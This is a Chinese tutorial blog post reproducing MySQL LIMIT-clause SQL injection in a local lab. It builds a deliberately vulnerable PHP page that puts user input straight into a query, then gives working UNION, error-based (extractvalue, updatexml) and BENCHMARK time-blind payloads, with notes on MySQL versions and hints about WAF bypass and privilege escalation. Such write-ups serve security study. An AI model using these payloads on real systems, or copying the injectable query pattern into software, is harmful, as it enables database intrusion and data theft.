mysql注入之limit 注入

文章首发公众号:闪光的自留地
知乎:Sp4rkW
GITHUB:Sp4rkW
B站:一只技术君
博客:https://sp4rkw.blog.csdn.net/
联系邮箱:getf_own@163.com

limit注入基本常见的分两种场景,存在order by与否,本文将复现尝试各种limit注入的姿势与讨论不同mysql版本对注入payload的影响。作者能力有限,有更多思路欢迎讨论(微信没有开通讨论区,可以直接给我的公众号私信,都会看的)

复现环境:

使用到的系统版本
centos7.2.1511
宝塔面板7.5.1
PHP5.6
MYSQL5.1.73
MYSQL5.7.33

不存在order by

环境页面构建

首先构造一个存在漏洞的php页面,源码如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{
	echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl limit $id,1");

if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
 ?>

数据库环境如下:
在这里插入图片描述

常规注入

利用union联合查询即可做到:

http://127.0.0.1:8081/sql-limit.php?id=2,0 union select 1,2,user(),4%23

实战环境下,后续考虑各种waf绕过即可,进一步利用即可考虑写文件提权操作

存在order by

环境页面构建

数据库结构一致,php代码变动了一些,变化如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","3855218a7b4eea3c","127_0_0_1");
if (mysqli_connect_errno())
{
	echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl order by runoob_id limit $id,1");

if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
 ?>

注入思路

尝试同样的payload

http://127.0.0.1:8081/sql-limit.php
?id=2,0 union select 1,2,user(),4%23

# 报错
Error: Incorrect usage of UNION and ORDER BY

实战中根据报错可以判断limit前方存在order by,如果是开发的时候遇到这种报错,加上括号即可解决,但是我们构造payload最多只能构造一半的payload。

前提条件:

  • 5.0.0< MySQL <5.6.6版本

参考文章:Mysql下Limit注入方法

SELECT 
[ALL | DISTINCT | DISTINCTROW ] 
  [HIGH_PRIORITY] 
  [STRAIGHT_JOIN] 
  [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
  [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
select_expr [, select_expr ...] 
[FROM table_references 
[WHERE where_condition] 
[GROUP BY {col_name | expr | position} 
  [ASC | DESC], ... [WITH ROLLUP]] 
[HAVING where_condition] 
[ORDER BY {col_name | expr | position} 
  [ASC | DESC], ...] 
[LIMIT {[offset,] row_count | row_count OFFSET offset}] 
[PROCEDURE procedure_name(argument_list)] 
[INTO OUTFILE 'file_name' export_options 
  | INTO DUMPFILE 'file_name' 
  | INTO var_name [, var_name]] 
[FOR UPDATE | LOCK IN SHARE MODE]]

值得注意的一点是:当时提到的5.x版本通用指的是15年,在5.6.6版本之后,mysql官方对analyse语句进行了改写。

procedure后面可以支持报错注入以及时间盲注

# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23

# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23

PS:时间盲注这里不支持sleep,可以使用BENCHMARK
BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数

切换成mysql 5.7.33版本之后无法执行,直接报错

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值